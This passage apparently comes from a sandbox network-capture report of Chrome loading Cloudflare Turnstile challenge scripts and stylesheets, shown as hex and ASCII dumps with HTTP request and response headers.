2025-01-14 19:02:19 UTC	1369	IN	Data Raw: 72 61 79 24 2f 2e 74 65 73 74 28 6e 29 29 72 65 74 75 72 6e 20 61 74 28 65 2c 72 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 41 65 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 42 74 28 65 29 7c 7c 6a 74 28 65 2c 72 29 7c 7c 7a 74 28 65 2c 72 29 7c 7c 71 74 28 29 7d 66 75 6e 63 74 69 6f 6e 20 46 28 65 29 7b 22 40 73 77 63 2f 68 65 6c 70 65 72 73 20 2d 20 74 79 70 65 6f 66 22 3b 72 65 74 75 72 6e 20 65 26 26 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 65 7d 66 75 6e 63 74 69 6f 6e 20 55 65 28 65 2c 72 29 7b 76 61 72 20 6e 3d 7b 6c 61 62 65 6c 3a 30 2c 73 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 75 5b 30 Data Ascii: ray$/.test(n))return at(e,r)}}function Ae(e,r){return Bt(e)\|\|jt(e,r)\|\|zt(e,r)\|\|qt()}function F(e){"@swc/helpers - typeof";return e&&typeof Symbol!="undefined"&&e.constructor===Symbol?"symbol":typeof e}function Ue(e,r){var n={label:0,sent:function(){if(u[0
2025-01-14 19:02:19 UTC	1369	IN	Data Raw: 74 69 6f 6e 3a 22 54 75 72 6e 73 74 69 6c 65 27 73 20 61 70 69 2e 6a 73 20 77 61 73 20 6c 6f 61 64 65 64 2c 20 62 75 74 20 74 68 65 20 69 66 72 61 6d 65 20 75 6e 64 65 72 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 6c 6f 61 64 65 64 2e 20 48 61 73 20 74 68 65 20 76 69 73 69 74 6f 72 20 62 6c 6f 63 6b 65 64 20 73 6f 6d 65 20 70 61 72 74 73 20 6f 66 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 6f 72 20 61 72 65 20 74 68 65 79 20 73 65 6c 66 2d 68 6f 73 74 69 6e 67 20 61 70 69 2e 6a 73 3f 22 7d 3b 76 61 72 20 58 74 3d 33 30 30 30 32 30 3b 76 61 72 20 44 65 3d 33 30 30 30 33 30 3b 76 61 72 20 56 65 3d 33 30 30 30 33 31 3b 76 61 72 20 6a 3b 28 66 75 Data Ascii: tion:"Turnstile's api.js was loaded, but the iframe under challenges.cloudflare.com could not be loaded. Has the visitor blocked some parts of challenges.cloudflare.com or are they self-hosting api.js?"};var Xt=300020;var De=300030;var Ve=300031;var j;(fu
2025-01-14 19:02:19 UTC	1369	IN	Data Raw: 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 4a 7c 7c 28 4a 3d 7b 7d 29 29 3b 76 61 72 20 69 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 4e 45 56 45 52 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 69 65 7c 7c 28 69 65 3d 7b 7d 29 29 3b 76 61 72 20 58 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 41 4c 57 41 59 53 3d 22 61 6c 77 61 79 73 22 2c 65 2e 45 58 45 43 55 54 45 3d 22 65 78 65 63 75 74 65 22 2c 65 2e 49 4e 54 45 52 41 43 54 49 4f 4e 5f 4f 4e 4c 59 3d 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 7d 29 28 58 7c 7c 28 58 3d 7b 7d 29 29 3b 76 61 72 20 70 65 3b 28 66 75 Data Ascii: ="never",e.MANUAL="manual",e.AUTO="auto"})(J\|\|(J={}));var ie;(function(e){e.NEVER="never",e.MANUAL="manual",e.AUTO="auto"})(ie\|\|(ie={}));var X;(function(e){e.ALWAYS="always",e.EXECUTE="execute",e.INTERACTION_ONLY="interaction-only"})(X\|\|(X={}));var pe;(fu
2025-01-14 19:02:19 UTC	1369	IN	Data Raw: 65 63 75 74 65 22 5d 2c 65 29 7d 76 61 72 20 4b 74 3d 33 30 30 2c 24 74 3d 31 30 3b 66 75 6e 63 74 69 6f 6e 20 79 74 28 65 29 7b 76 61 72 20 72 3d 6e 65 77 20 55 52 4c 53 65 61 72 63 68 50 61 72 61 6d 73 3b 69 66 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 26 26 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 6f 66 66 6c 61 62 65 6c 21 3d 3d 22 64 65 66 61 75 6c 74 22 26 26 72 2e 73 65 74 28 22 6f 66 66 6c 61 62 65 6c 22 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 6f 66 66 6c 61 62 65 6c 29 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 63 6c 65 61 Data Ascii: ecute"],e)}var Kt=300,$t=10;function yt(e){var r=new URLSearchParams;if(e.params._debugSitekeyOverrides&&(e.params._debugSitekeyOverrides.offlabel!=="default"&&r.set("offlabel",e.params._debugSitekeyOverrides.offlabel),e.params._debugSitekeyOverrides.clea
2025-01-14 19:02:19 UTC	1369	IN	Data Raw: 69 6e 6e 65 72 57 69 64 74 68 3c 34 30 30 2c 63 3d 65 2e 73 74 61 74 65 3d 3d 3d 49 65 2e 46 41 49 4c 55 52 45 5f 46 45 45 44 42 41 43 4b 7c 7c 65 2e 73 74 61 74 65 3d 3d 3d 49 65 2e 46 41 49 4c 55 52 45 5f 48 41 56 49 4e 47 5f 54 52 4f 55 42 4c 45 53 2c 75 2c 67 3d 4d 28 4e 72 2c 28 75 3d 28 72 3d 65 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 29 3d 3d 3d 6e 75 6c 6c 7c 7c 72 3d 3d 3d 76 6f 69 64 20 30 3f 76 6f 69 64 20 30 3a 72 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 21 3d 3d 6e 75 6c 6c 26 26 75 21 3d 3d 76 6f 69 64 20 30 3f 75 3a 22 6e 6f 6e 65 78 69 73 74 65 6e 74 22 29 2c 68 2c 6c 3d 4d 28 6b 72 2c 28 68 3d 28 6e 3d 65 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 29 3d 3d 3d 6e 75 6c 6c 7c 7c 6e 3d 3d 3d 76 6f 69 64 20 30 3f 76 6f 69 64 Data Ascii: innerWidth<400,c=e.state===Ie.FAILURE_FEEDBACK\|\|e.state===Ie.FAILURE_HAVING_TROUBLES,u,g=M(Nr,(u=(r=e.displayLanguage)===null\|\|r===void 0?void 0:r.toLowerCase())!==null&&u!==void 0?u:"nonexistent"),h,l=M(kr,(h=(n=e.displayLanguage)===null\|\|n===void 0?void
2025-01-14 19:02:19 UTC	1369	IN	Data Raw: 75 72 6e 21 31 7d 7d 66 75 6e 63 74 69 6f 6e 20 53 65 28 65 2c 72 2c 6e 29 7b 72 65 74 75 72 6e 20 6a 65 28 29 3f 53 65 3d 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 3a 53 65 3d 66 75 6e 63 74 69 6f 6e 28 63 2c 75 2c 67 29 7b 76 61 72 20 68 3d 5b 6e 75 6c 6c 5d 3b 68 2e 70 75 73 68 2e 61 70 70 6c 79 28 68 2c 75 29 3b 76 61 72 20 6c 3d 46 75 6e 63 74 69 6f 6e 2e 62 69 6e 64 2e 61 70 70 6c 79 28 63 2c 68 29 2c 70 3d 6e 65 77 20 6c 3b 72 65 74 75 72 6e 20 67 26 26 5a 28 70 2c 67 2e 70 72 6f 74 6f 74 79 70 65 29 2c 70 7d 2c 53 65 2e 61 70 70 6c 79 28 6e 75 6c 6c 2c 61 72 67 75 6d 65 6e 74 73 29 7d 66 75 6e 63 74 69 6f 6e 20 63 65 28 65 29 7b 72 65 74 75 72 6e 20 63 65 3d 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3f 4f 62 6a 65 63 Data Ascii: urn!1}}function Se(e,r,n){return je()?Se=Reflect.construct:Se=function(c,u,g){var h=[null];h.push.apply(h,u);var l=Function.bind.apply(c,h),p=new l;return g&&Z(p,g.prototype),p},Se.apply(null,arguments)}function ce(e){return ce=Object.setPrototypeOf?Objec
2025-01-14 19:02:19 UTC	1369	IN	Data Raw: 22 29 3b 74 68 72 6f 77 20 6e 65 77 20 73 72 28 6e 2c 72 29 7d 66 75 6e 63 74 69 6f 6e 20 62 28 65 29 7b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 22 5b 43 6c 6f 75 64 66 6c 61 72 65 20 54 75 72 6e 73 74 69 6c 65 5d 20 22 2e 63 6f 6e 63 61 74 28 65 29 29 7d 66 75 6e 63 74 69 6f 6e 20 7a 65 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 73 74 61 72 74 73 57 69 74 68 28 48 65 29 3f 65 2e 73 75 62 73 74 72 69 6e 67 28 48 65 2e 6c 65 6e 67 74 68 29 3a 6e 75 6c 6c 7d 66 75 6e 63 74 69 6f 6e 20 51 28 65 29 7b 72 65 74 75 72 6e 22 22 2e 63 6f 6e 63 61 74 28 48 65 29 2e 63 6f 6e 63 61 74 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 52 74 28 29 7b 76 61 72 20 65 3d 2f 5c 2f 74 75 72 6e 73 74 69 6c 65 5c 2f 76 30 28 5c 2f 2e 2a 29 3f 5c 2f 61 70 69 5c 2e 6a 73 2f 2c 72 3d 64 6f 63 Data Ascii: ");throw new sr(n,r)}function b(e){console.warn("[Cloudflare Turnstile] ".concat(e))}function ze(e){return e.startsWith(He)?e.substring(He.length):null}function Q(e){return"".concat(He).concat(e)}function Rt(){var e=/\/turnstile\/v0(\/.*)?\/api\.js/,r=doc
2025-01-14 19:02:19 UTC	1369	IN	Data Raw: 72 6d 4f 72 69 67 69 6e 3d 22 63 65 6e 74 65 72 20 63 65 6e 74 65 72 22 2c 6c 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 58 3d 22 68 69 64 64 65 6e 22 2c 6c 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 59 3d 22 61 75 74 6f 22 2c 6c 2e 73 74 79 6c 65 2e 62 61 63 6b 67 72 6f 75 6e 64 3d 22 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 34 29 22 3b 76 61 72 20 70 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 3b 70 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 22 74 61 62 6c 65 2d 63 65 6c 6c 22 2c 70 2e 73 74 79 6c 65 2e 76 65 72 74 69 63 61 6c 41 6c 69 67 6e 3d 22 6d 69 64 64 6c 65 22 2c 70 2e 73 74 79 6c 65 2e 77 69 64 74 68 3d 22 31 30 30 76 77 22 2c 70 2e 73 74 79 6c 65 2e 68 65 69 67 68 74 3d 22 31 30 30 76 68 22 3b Data Ascii: rmOrigin="center center",l.style.overflowX="hidden",l.style.overflowY="auto",l.style.background="rgba(0,0,0,0.4)";var p=document.createElement("div");p.style.display="table-cell",p.style.verticalAlign="middle",p.style.width="100vw",p.style.height="100vh";

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49760	104.18.94.41	443	5660	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 19:02:19 UTC	810	OUT	GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/pfgga/0x4AAAAAAA4vgiyaUX32MWhl/auto/fbE/normal/auto/ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://nbgybnlh.appfilemanagement.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 19:02:20 UTC	1362	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 19:02:20 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 26912 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 permissions-policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() content-security-policy: frame-src https://challenges.cloudflare.com/; base-uri 'self' cross-origin-embedder-policy: require-corp cross-origin-opener-policy: same-origin cross-origin-resource-policy: cross-origin origin-agent-cluster: ?1 accept-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA critical-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA referrer-policy: same-origin document-policy: js-profiling
2025-01-14 19:02:20 UTC	82	IN	Data Raw: 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 39 30 31 66 65 31 33 37 33 66 31 37 34 33 66 66 2d 45 57 52 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a Data Ascii: Server: cloudflareCF-RAY: 901fe1373f1743ff-EWRalt-svc: h3=":443"; ma=86400
2025-01-14 19:02:20 UTC	1294	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 22 3e 0a Data Ascii: <!DOCTYPE HTML><html lang="en-US"><head> <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1"> <meta name="robots" content="noindex, nofollow" /> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
2025-01-14 19:02:20 UTC	1369	IN	Data Raw: 64 64 69 6e 67 3a 30 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e 6d 61 69 6e 2d 77 72 61 70 70 65 72 2c 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 73 79 73 74 65 6d 2d 75 69 2c 62 6c 69 6e 6b 6d 61 63 73 79 73 74 65 6d 66 6f 6e 74 2c 53 65 67 6f 65 20 55 49 2c 72 6f 62 6f 74 6f 2c 6f 78 79 67 65 6e 2c 75 62 75 6e 74 75 2c 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 2c 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 2d 77 65 62 6b 69 74 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 61 6e 74 69 61 6c 69 61 73 65 Data Ascii: dding:0;width:100%}.main-wrapper,body{background-color:#fff;color:#232323;font-family:-apple-system,system-ui,blinkmacsystemfont,Segoe UI,roboto,oxygen,ubuntu,Helvetica Neue,arial,sans-serif;font-size:14px;font-weight:400;-webkit-font-smoothing:antialiase
2025-01-14 19:02:20 UTC	1369	IN	Data Raw: 73 74 72 6f 6b 65 3a 23 30 33 38 31 32 37 3b 61 6e 69 6d 61 74 69 6f 6e 3a 66 69 72 65 77 6f 72 6b 20 2e 33 73 20 65 61 73 65 2d 6f 75 74 20 31 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 31 3b 73 74 72 6f 6b 65 2d 64 61 73 68 61 72 72 61 79 3a 33 32 20 33 32 3b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 2d 38 7d 23 73 75 63 63 65 73 73 2d 74 65 78 74 7b 61 6e 69 6d 61 74 69 6f 6e 3a 66 61 64 65 2d 69 6e 20 31 73 20 66 6f 72 77 61 72 64 73 3b 6f 70 61 63 69 74 79 3a 30 7d 2e 73 75 63 63 65 73 73 2d 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 30 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 32 3b 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 31 30 3b 73 74 72 6f 6b 65 3a 23 30 33 38 31 32 37 3b 66 69 6c 6c 3a 23 Data Ascii: stroke:#038127;animation:firework .3s ease-out 1;stroke-width:1;stroke-dasharray:32 32;stroke-dashoffset:-8}#success-text{animation:fade-in 1s forwards;opacity:0}.success-circle{stroke-dashoffset:0;stroke-width:2;stroke-miterlimit:10;stroke:#038127;fill:#
2025-01-14 19:02:20 UTC	1369	IN	Data Raw: 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 62 62 62 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 61 63 74 69 76 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 66 6f 63 75 73 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 68 6f 76 65 72 2c 2e 74 68 65 6d 65 2d 64 61 72 Data Ascii: e-dark #challenge-overlay a,.theme-dark #challenge-overlay a:link,.theme-dark #challenge-overlay a:visited{color:#bbb}.theme-dark #challenge-error-text a:active,.theme-dark #challenge-error-text a:focus,.theme-dark #challenge-error-text a:hover,.theme-dar
2025-01-14 19:02:20 UTC	1369	IN	Data Raw: 32 30 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 6c 6f 67 6f 2d 74 65 78 74 7b 66 69 6c 6c 3a 23 66 66 66 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 62 62 62 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 61 63 74 69 76 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 66 6f 63 75 73 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 Data Ascii: 20}.theme-dark .logo-text{fill:#fff}.theme-dark #fr-helper-loop-link,.theme-dark #fr-helper-loop-link:link,.theme-dark #fr-helper-loop-link:visited{color:#bbb}.theme-dark #fr-helper-loop-link:active,.theme-dark #fr-helper-loop-link:focus,.theme-dark #fr-h
2025-01-14 19:02:20 UTC	1369	IN	Data Raw: 3b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 31 36 36 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 32 3b 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 31 30 3b 73 74 72 6f 6b 65 3a 23 64 65 31 33 30 33 3b 66 69 6c 6c 3a 23 64 65 31 33 30 33 3b 61 6e 69 6d 61 74 69 6f 6e 3a 73 74 72 6f 6b 65 20 2e 36 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 36 35 2c 30 2c 2e 34 35 2c 31 29 20 66 6f 72 77 61 72 64 73 7d 2e 66 61 69 6c 75 72 65 2d 63 72 6f 73 73 7b 66 69 6c 6c 3a 23 66 66 66 3b 74 72 61 6e 73 66 6f 72 6d 2d 6f 72 69 67 69 6e 3a 62 6f 74 74 6f 6d 20 63 65 6e 74 65 72 7d 40 6b 65 79 66 72 61 6d 65 73 20 66 61 64 65 2d 69 6e 2e 61 6e 69 6d 61 74 69 6f 6e 7b 30 25 7b 66 69 6c 6c 3a 23 64 65 31 33 30 33 3b 73 74 72 6f 6b 65 3a 23 64 65 31 Data Ascii: ;stroke-dashoffset:166;stroke-width:2;stroke-miterlimit:10;stroke:#de1303;fill:#de1303;animation:stroke .6s cubic-bezier(.65,0,.45,1) forwards}.failure-cross{fill:#fff;transform-origin:bottom center}@keyframes fade-in.animation{0%{fill:#de1303;stroke:#de1
2025-01-14 19:02:20 UTC	1369	IN	Data Raw: 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 66 6c 6f 77 3a 63 6f 6c 75 6d 6e 20 6e 6f 77 72 61 70 3b 67 61 70 3a 30 3b 68 65 69 67 68 74 3a 31 34 30 70 78 3b 70 61 64 64 69 6e 67 3a 31 32 70 78 20 30 3b 70 6c 61 63 65 2d 63 6f 6e 74 65 6e 74 3a 73 70 61 63 65 2d 62 65 74 77 65 65 6e 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 6c 69 6e 6b 2d 73 70 61 63 65 72 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 33 70 78 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 33 70 78 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 63 62 2d 63 7b 6d 61 72 67 69 6e 3a 30 20 31 32 70 78 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 63 62 2d 63 6f 6e 74 61 69 6e 65 72 7b 6d 61 72 67 69 6e 3a 30 20 31 32 70 78 7d 2e 73 69 7a 65 2d 63 6f 6d Data Ascii: ay:flex;flex-flow:column nowrap;gap:0;height:140px;padding:12px 0;place-content:space-between}.size-compact .link-spacer{margin-left:3px;margin-right:3px}.size-compact .cb-c{margin:0 12px;text-align:left}.size-compact .cb-container{margin:0 12px}.size-com
2025-01-14 19:02:20 UTC	1369	IN	Data Raw: 69 7b 6c 65 66 74 3a 32 35 35 70 78 7d 2e 72 74 6c 20 23 66 72 2d 68 65 6c 70 65 72 2c 2e 72 74 6c 20 23 66 72 2d 6f 76 65 72 72 75 6e 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2e 32 35 65 6d 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 30 7d 2e 72 74 6c 20 23 62 72 61 6e 64 69 6e 67 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 31 36 70 78 3b 77 69 64 74 68 3a 39 30 70 78 7d 2e 72 74 6c 20 23 62 72 61 6e 64 69 6e 67 2c 2e 72 74 6c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 62 72 61 6e 64 69 6e 67 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 30 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 7d 2e 72 74 6c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 62 72 61 6e 64 69 6e 67 7b 61 6c 69 67 6e 2d 73 65 6c 66 3a 66 6c 65 Data Ascii: i{left:255px}.rtl #fr-helper,.rtl #fr-overrun{margin-left:.25em;margin-right:0}.rtl #branding{margin:0 0 0 16px;width:90px}.rtl #branding,.rtl.size-compact #branding{padding-left:0;padding-right:0;text-align:left}.rtl.size-compact #branding{align-self:fle
2025-01-14 19:02:20 UTC	1369	IN	Data Raw: 6f 6c 6f 72 3a 23 31 36 36 33 37 39 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 6c 69 6e 6b 2c 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 2e 69 2d 77 72 61 70 70 65 72 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 2e 75 6e 73 70 75 6e 20 2e 63 69 72 63 6c 65 7b 61 6e 69 6d 61 74 69 6f 6e 3a 75 6e 73 70 69 6e 20 2e 37 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 36 35 2c 30 2c 2e 34 35 2c 31 29 20 66 6f 72 77 61 72 64 73 7d 2e 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 2d 77 69 64 74 68 Data Ascii: olor:#166379;text-decoration:underline}#challenge-error-title a:link,#challenge-error-title a:visited{color:#232323}#challenge-error-title .i-wrapper{display:none}.unspun .circle{animation:unspin .7s cubic-bezier(.65,0,.45,1) forwards}.circle{stroke-width

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49761	104.18.94.41	443	5660	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 19:02:19 UTC	383	OUT	GET /turnstile/v0/b/e0c90b6a3ed1/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
